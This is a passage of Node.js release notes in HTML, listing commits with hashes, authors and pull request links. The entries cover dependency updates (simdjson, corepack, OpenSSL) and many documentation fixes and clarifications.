<li>[<a href="https://github.com/nodejs/node/commit/03c16e5a4c"><code>03c16e5a4c</code></a>] - <strong>deps</strong>: update simdjson to 4.1.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60542" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60542/hovercard">#60542</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2ebfc2ca56"><code>2ebfc2ca56</code></a>] - <strong>deps</strong>: update amaro to 1.1.5 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60541" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60541/hovercard">#60541</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d24ba4fed6"><code>d24ba4fed6</code></a>] - <strong>deps</strong>: update simdjson to 4.0.7 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/59883" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59883/hovercard">#59883</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9480a139bf"><code>9480a139bf</code></a>] - <strong>deps</strong>: update googletest to 279f847 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60219" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60219/hovercard">#60219</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/635e67379e"><code>635e67379e</code></a>] - <strong>deps</strong>: update archs files for openssl-3.5.5 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61547" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61547/hovercard">#61547</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c7b774047d"><code>c7b774047d</code></a>] - <strong>deps</strong>: upgrade openssl sources to openssl-3.5.5 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61547" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61547/hovercard">#61547</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5b324d7d7f"><code>5b324d7d7f</code></a>] - <strong>deps</strong>: update corepack to 0.34.6 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61510" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61510/hovercard">#61510</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eef8ba0667"><code>eef8ba0667</code></a>] - <strong>deps</strong>: update corepack to 0.34.5 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60842" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60842/hovercard">#60842</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/490f7c7fb1"><code>490f7c7fb1</code></a>] - <strong>deps</strong>: update corepack to 0.34.4 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60643" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60643/hovercard">#60643</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/66903ea3b3"><code>66903ea3b3</code></a>] - <strong>deps</strong>: update corepack to 0.34.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60550" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60550/hovercard">#60550</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a2f0b69282"><code>a2f0b69282</code></a>] - <strong>deps</strong>: update corepack to 0.34.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60314" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60314/hovercard">#60314</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c8044a48a6"><code>c8044a48a6</code></a>] - <strong>deps</strong>: V8: backport 2e4c5cf9b112 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60654" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60654/hovercard">#60654</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/642f518198"><code>642f518198</code></a>] - <strong>doc</strong>: supported toolchain with Visual Studio 2022 only (Mike McCready) <a href="https://github.com/nodejs/node/pull/61451" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61451/hovercard">#61451</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/625f674487"><code>625f674487</code></a>] - <strong>doc</strong>: move Security-Team from TSC to SECURITY (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/61495" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61495/hovercard">#61495</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/029e32f8ba"><code>029e32f8ba</code></a>] - <strong>doc</strong>: added <code>requestOCSP</code> option to <code>tls.connect</code> (ikeyan) <a href="https://github.com/nodejs/node/pull/61064" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61064/hovercard">#61064</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/68e33dfa89"><code>68e33dfa89</code></a>] - <strong>doc</strong>: restore <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ChALkeR/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ChALkeR">@ChALkeR</a> to collaborators (Сковорода Никита Андреевич) <a href="https://github.com/nodejs/node/pull/61553" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61553/hovercard">#61553</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e016770d62"><code>e016770d62</code></a>] - <strong>doc</strong>: update IBM/Red Hat volunteers with dedicated project time (Beth Griggs) <a href="https://github.com/nodejs/node/pull/61588" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61588/hovercard">#61588</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ec63954657"><code>ec63954657</code></a>] - <strong>doc</strong>: mention constructor comparison in assert.deepStrictEqual (Hamza Kargin) <a href="https://github.com/nodejs/node/pull/60253" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60253/hovercard">#60253</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c8e1563a98"><code>c8e1563a98</code></a>] - <strong>doc</strong>: add CVE delay mention (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/61465" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61465/hovercard">#61465</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4b00cf2b54"><code>4b00cf2b54</code></a>] - <strong>doc</strong>: include OpenJSF handle for security stewards (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/61454" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61454/hovercard">#61454</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4b73bf5bc8"><code>4b73bf5bc8</code></a>] - <strong>doc</strong>: clarify process.argv[1] behavior for -e/--eval (Jeevankumar S) <a href="https://github.com/nodejs/node/pull/61366" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61366/hovercard">#61366</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d3151df4b3"><code>d3151df4b3</code></a>] - <strong>doc</strong>: remove Windows Dev Home instructions from BUILDING (Mike McCready) <a href="https://github.com/nodejs/node/pull/61434" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61434/hovercard">#61434</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2323462e35"><code>2323462e35</code></a>] - <strong>doc</strong>: clarify TypedArray properties on Buffer (Roman Reiss) <a href="https://github.com/nodejs/node/pull/61355" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61355/hovercard">#61355</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6c5478c8b2"><code>6c5478c8b2</code></a>] - <strong>doc</strong>: note resume build should not be done on node-test-commit (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/61373" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61373/hovercard">#61373</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ba4a043103"><code>ba4a043103</code></a>] - <strong>doc</strong>: refine WebAssembly error documentation (sangwook) <a href="https://github.com/nodejs/node/pull/61382" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61382/hovercard">#61382</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cd315ea589"><code>cd315ea589</code></a>] - <strong>doc</strong>: add deprecation history for url.parse (Eng Zer Jun) <a href="https://github.com/nodejs/node/pull/61389" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61389/hovercard">#61389</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/42db0c392d"><code>42db0c392d</code></a>] - <strong>doc</strong>: add marco and rafael in last sec release (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/61383" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61383/hovercard">#61383</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4c3b680fc7"><code>4c3b680fc7</code></a>] - <strong>doc</strong>: packages: example of private import switch to internal (coderaiser) <a href="https://github.com/nodejs/node/pull/61343" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61343/hovercard">#61343</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/684d15e421"><code>684d15e421</code></a>] - <strong>doc</strong>: add esm and cjs examples to node:v8 (Alfredo González) <a href="https://github.com/nodejs/node/pull/61328" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61328/hovercard">#61328</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c3f9c7a7d9"><code>c3f9c7a7d9</code></a>] - <strong>doc</strong>: added 'secure' event to tls.TLSSocket (ikeyan) <a href="https://github.com/nodejs/node/pull/61066" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61066/hovercard">#61066</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aa9acad5ca"><code>aa9acad5ca</code></a>] - <strong>doc</strong>: restore <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/watilde/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/watilde">@watilde</a> to collaborators (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/61350" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61350/hovercard">#61350</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9cafec084e"><code>9cafec084e</code></a>] - <strong>doc</strong>: run license-builder (github-actions[bot]) <a href="https://github.com/nodejs/node/pull/61348" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61348/hovercard">#61348</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cdb12ccbc6"><code>cdb12ccbc6</code></a>] - <strong>doc</strong>: document ALPNCallback option for TLSSocket constructor (ikeyan) <a href="https://github.com/nodejs/node/pull/61331" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61331/hovercard">#61331</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/461c5e65c5"><code>461c5e65c5</code></a>] - <strong>doc</strong>: update MDN links (Livia Medeiros) <a href="https://github.com/nodejs/node/pull/61062" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61062/hovercard">#61062</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dde45baeab"><code>dde45baeab</code></a>] - <strong>doc</strong>: add documentation for process.traceProcessWarnings (Alireza Ebrahimkhani) <a href="https://github.com/nodejs/node/pull/53641" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/53641/hovercard">#53641</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/59a7aeec92"><code>59a7aeec92</code></a>] - <strong>doc</strong>: fix filename typo (Hardanish Singh) <a href="https://github.com/nodejs/node/pull/61297" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61297/hovercard">#61297</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9a0a40d1ed"><code>9a0a40d1ed</code></a>] - <strong>doc</strong>: fix typos and grammar in <code>BUILDING.md</code> &amp; <code>onboarding.md</code> (Hardanish Singh) <a href="https://github.com/nodejs/node/pull/61267" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61267/hovercard">#61267</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dca7005f9d"><code>dca7005f9d</code></a>] - <strong>doc</strong>: mention --newVersion release script (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/61255" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61255/hovercard">#61255</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c0dc8ddf85"><code>c0dc8ddf85</code></a>] - <strong>doc</strong>: correct typo in api contributing doc (Mike McCready) <a href="https://github.com/nodejs/node/pull/61260" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61260/hovercard">#61260</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/066af38fe1"><code>066af38fe1</code></a>] - <strong>doc</strong>: add PR-URL requirement for security backports (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/61256" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61256/hovercard">#61256</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/71dd46bd0c"><code>71dd46bd0c</code></a>] - <strong>doc</strong>: add reusePort error behavior to net module (mag123c) <a href="https://github.com/nodejs/node/pull/61250" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61250/hovercard">#61250</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f6abe3ba33"><code>f6abe3ba33</code></a>] - <strong>doc</strong>: note corepack package removal in distribution doc (Mike McCready) <a href="https://github.com/nodejs/node/pull/61207" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61207/hovercard">#61207</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9059d49d8c"><code>9059d49d8c</code></a>] - <strong>doc</strong>: fix tls.connect() timeout documentation (Azad Gupta) <a href="https://github.com/nodejs/node/pull/61079" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61079/hovercard">#61079</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e7b34b76b0"><code>e7b34b76b0</code></a>] - <strong>doc</strong>: missing <code>passed</code>, <code>error</code> and <code>passed</code> properties on <code>TestContext</code> (Xavier Stouder) <a href="https://github.com/nodejs/node/pull/61185" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61185/hovercard">#61185</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9ae2dcfbb6"><code>9ae2dcfbb6</code></a>] - <strong>doc</strong>: clarify threat model for application-level API exposure (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/61184" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61184/hovercard">#61184</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9902331a7c"><code>9902331a7c</code></a>] - <strong>doc</strong>: correct options for net.Socket class and socket.connect (Xavier Stouder) <a href="https://github.com/nodejs/node/pull/61179" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61179/hovercard">#61179</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a80122d2fe"><code>a80122d2fe</code></a>] - <strong>doc</strong>: document error event on readline InterfaceConstructor (Xavier Stouder) <a href="https://github.com/nodejs/node/pull/61170" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61170/hovercard">#61170</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/38d73c9cfa"><code>38d73c9cfa</code></a>] - <strong>doc</strong>: add a smooth scrolling effect to the sidebar (btea) <a href="https://github.com/nodejs/node/pull/59007" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59007/hovercard">#59007</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/95c51fa984"><code>95c51fa984</code></a>] - <strong>doc</strong>: correct invalid collaborator profile (JJ) <a href="https://github.com/nodejs/node/pull/61091" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61091/hovercard">#61091</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f5a044763c"><code>f5a044763c</code></a>] - <strong>doc</strong>: exclude compile-time flag features from security policy (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61109" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61109/hovercard">#61109</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b6ebf2cd53"><code>b6ebf2cd53</code></a>] - <strong>doc</strong>: add <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/avivkeller/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/avivkeller">@avivkeller</a> to collaborators (Aviv Keller) <a href="https://github.com/nodejs/node/pull/61115" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61115/hovercard">#61115</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/35854f424d"><code>35854f424d</code></a>] - <strong>doc</strong>: add gurgunday to collaborators (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/61094" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61094/hovercard">#61094</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4932322c29"><code>4932322c29</code></a>] - <strong>doc</strong>: add File modes cross-references in fs methods (Mohit Raj Saxena) <a href="https://github.com/nodejs/node/pull/60286" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60286/hovercard">#60286</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c84904e047"><code>c84904e047</code></a>] - <strong>doc</strong>: add missing <code>zstd</code> to mjs example of zlib (Deokjin Kim) <a href="https://github.com/nodejs/node/pull/60915" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60915/hovercard">#60915</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e615b9e2f2"><code>e615b9e2f2</code></a>] - <strong>doc</strong>: clarify fileURLToPath security considerations (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60887/hovercard">#60887</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/99e384e6d4"><code>99e384e6d4</code></a>] - <strong>doc</strong>: replace column with columnNumber in example of <code>util.getCallSites</code> (Deokjin Kim) <a href="https://github.com/nodejs/node/pull/60881" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60881/hovercard">#60881</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9351bb4d02"><code>9351bb4d02</code></a>] - <strong>doc</strong>: correct spelling in BUILDING.md (Rich Trott) <a href="https://github.com/nodejs/node/pull/60875" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60875/hovercard">#60875</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e1f6e7fc4d"><code>e1f6e7fc4d</code></a>] - <strong>doc</strong>: update debuglog examples to use 'foo-bar' instead of 'foo' (xiaoyao) <a href="https://github.com/nodejs/node/pull/60867" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60867/hovercard">#60867</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ccbb2d7300"><code>ccbb2d7300</code></a>] - <strong>doc</strong>: fix typos in changelogs (Rich Trott) <a href="https://github.com/nodejs/node/pull/60855" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60855/hovercard">#60855</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1cb2fe8b35"><code>1cb2fe8b35</code></a>] - <strong>doc</strong>: mark module.register as active development (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60849" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60849/hovercard">#60849</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ceeb4968a6"><code>ceeb4968a6</code></a>] - <strong>doc</strong>: add fullName property to SuiteContext (PaulyBearCoding) <a href="https://github.com/nodejs/node/pull/60762" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60762/hovercard">#60762</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/56155909dd"><code>56155909dd</code></a>] - <strong>doc</strong>: keep sidebar module visible when navigating docs (Botato) <a href="https://github.com/nodejs/node/pull/60410" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60410/hovercard">#60410</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6b637763d5"><code>6b637763d5</code></a>] - <strong>doc</strong>: correct concurrency wording in test() documentation (Azad Gupta) <a href="https://github.com/nodejs/node/pull/60773" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60773/hovercard">#60773</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7183e8ffa1"><code>7183e8ffa1</code></a>] - <strong>doc</strong>: clarify that CQ only picks up PRs targeting <code>main</code> (René) <a href="https://github.com/nodejs/node/pull/60731" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60731/hovercard">#60731</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d5d94303be"><code>d5d94303be</code></a>] - <strong>doc</strong>: clarify license section and add contributor note (KaleruMadhu) <a href="https://github.com/nodejs/node/pull/60590" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60590/hovercard">#60590</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e0210c8f53"><code>e0210c8f53</code></a>] - <strong>doc</strong>: correct tls ALPNProtocols types (René) <a href="https://github.com/nodejs/node/pull/60143" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60143/hovercard">#60143</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eff87b498a"><code>eff87b498a</code></a>] - <strong>doc</strong>: remove mention of SMS 2FA (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60707" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60707/hovercard">#60707</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e77ef94a51"><code>e77ef94a51</code></a>] - <strong>doc</strong>: <code>domain.add()</code> does not accept timer objects (René) <a href="https://github.com/nodejs/node/pull/60675" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60675/hovercard">#60675</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4fe19c95ea"><code>4fe19c95ea</code></a>] - <strong>doc</strong>: update Collaborators list to reflect hybrist handle change (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60650" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60650/hovercard">#60650</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eece59b6ce"><code>eece59b6ce</code></a>] - <strong>doc</strong>: fix linter issues (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60636" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60636/hovercard">#60636</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6e17e596e4"><code>6e17e596e4</code></a>] - <strong>doc</strong>: correct values/references for buffer.kMaxLength (René) <a href="https://github.com/nodejs/node/pull/60305" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60305/hovercard">#60305</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ac327ae9a7"><code>ac327ae9a7</code></a>] - <strong>doc</strong>: recommend events.once to manage 'close' event (Dan Fabulich) <a href="https://github.com/nodejs/node/pull/60017" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60017/hovercard">#60017</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d9b149ea42"><code>d9b149ea42</code></a>] - <strong>doc</strong>: highlight module loading difference between import and require (Ajay A) <a href="https://github.com/nodejs/node/pull/59815" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59815/hovercard">#59815</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f6d62cb22c"><code>f6d62cb22c</code></a>] - <strong>doc</strong>: fix typo in <code>process.unref</code> documentation (우혁) <a href="https://github.com/nodejs/node/pull/59698" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59698/hovercard">#59698</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6d5078b196"><code>6d5078b196</code></a>] - <strong>doc</strong>: add some entries to <code>glossary.md</code> (Mohataseem Khan) <a href="https://github.com/nodejs/node/pull/59277" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59277/hovercard">#59277</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b0a5820dea"><code>b0a5820dea</code></a>] - <strong>doc</strong>: improve agent.createConnection docs for http and https agents (JaeHo Jang) <a href="https://github.com/nodejs/node/pull/58205" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58205/hovercard">#58205</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b5db02fe67"><code>b5db02fe67</code></a>] - <strong>doc</strong>: fix pseudo code in modules.md (chirsz) <a href="https://github.com/nodejs/node/pull/57677" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/57677/hovercard">#57677</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e9b912d481"><code>e9b912d481</code></a>] - <strong>doc</strong>: add missing variable in code snippet (Koushil Mankali) <a href="https://github.com/nodejs/node/pull/55478" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/55478/hovercard">#55478</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/44c06c7812"><code>44c06c7812</code></a>] - <strong>doc</strong>: add missing word in <code>single-executable-applications.md</code> (Konstantin Tsabolov) <a href="https://github.com/nodejs/node/pull/53864" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/53864/hovercard">#53864</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/482b43f160"><code>482b43f160</code></a>] - <strong>doc</strong>: fix typo in http.md (Michael Solomon) <a href="https://github.com/nodejs/node/pull/59354" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59354/hovercard">#59354</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cd323bc718"><code>cd323bc718</code></a>] - <strong>doc</strong>: update devcontainer.json and add documentation (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60472" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60472/hovercard">#60472</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c7c70f3a16"><code>c7c70f3a16</code></a>] - <strong>doc</strong>: add haramj as triager (Haram Jeong) <a href="https://github.com/nodejs/node/pull/60348" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60348/hovercard">#60348</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/04b8c4d14e"><code>04b8c4d14e</code></a>] - <strong>doc</strong>: clarify require(esm) description (dynst) <a href="https://github.com/nodejs/node/pull/60520" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60520/hovercard">#60520</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/de382dc832"><code>de382dc832</code></a>] - <strong>doc</strong>: instantiate resolver object (Donghoon Nam) <a href="https://github.com/nodejs/node/pull/60476" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60476/hovercard">#60476</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b6845ce460"><code>b6845ce460</code></a>] - <strong>doc</strong>: clarify --use-system-ca support status (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60340" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60340/hovercard">#60340</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0894dae9bc"><code>0894dae9bc</code></a>] - <strong>doc</strong>: add missing CAA type to dns.resolveAny() &amp; dnsPromises.resolveAny() (Jimmy Leung) <a href="https://github.com/nodejs/node/pull/58899" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58899/hovercard">#58899</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c86a69f692"><code>c86a69f692</code></a>] - <strong>doc</strong>: use <code>any</code> for <code>worker_threads.Worker</code> 'error' event argument <code>err</code> (Jonas Geiler) <a href="https://github.com/nodejs/node/pull/60300" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60300/hovercard">#60300</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0c5031e233"><code>0c5031e233</code></a>] - <strong>doc</strong>: update decorator documentation to reflect actual policy (Muhammad Salman Aziz) <a href="https://github.com/nodejs/node/pull/60288" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60288/hovercard">#60288</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b01f710175"><code>b01f710175</code></a>] - <strong>doc</strong>: document wildcard supported by tools/test.py (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60265" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60265/hovercard">#60265</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b4524dabcc"><code>b4524dabcc</code></a>] - <strong>doc</strong>: fix <code>blob.bytes()</code> heading level (XTY) <a href="https://github.com/nodejs/node/pull/60252" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60252/hovercard">#60252</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5df02776e3"><code>5df02776e3</code></a>] - <strong>doc</strong>: fix not working code example in vm docs (Artur Gawlik) <a href="https://github.com/nodejs/node/pull/60224" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60224/hovercard">#60224</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6a4359a0b5"><code>6a4359a0b5</code></a>] - <strong>doc</strong>: improve code snippet alternative of url.parse() using WHATWG URL (Steven) <a href="https://github.com/nodejs/node/pull/60209" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60209/hovercard">#60209</a></li>
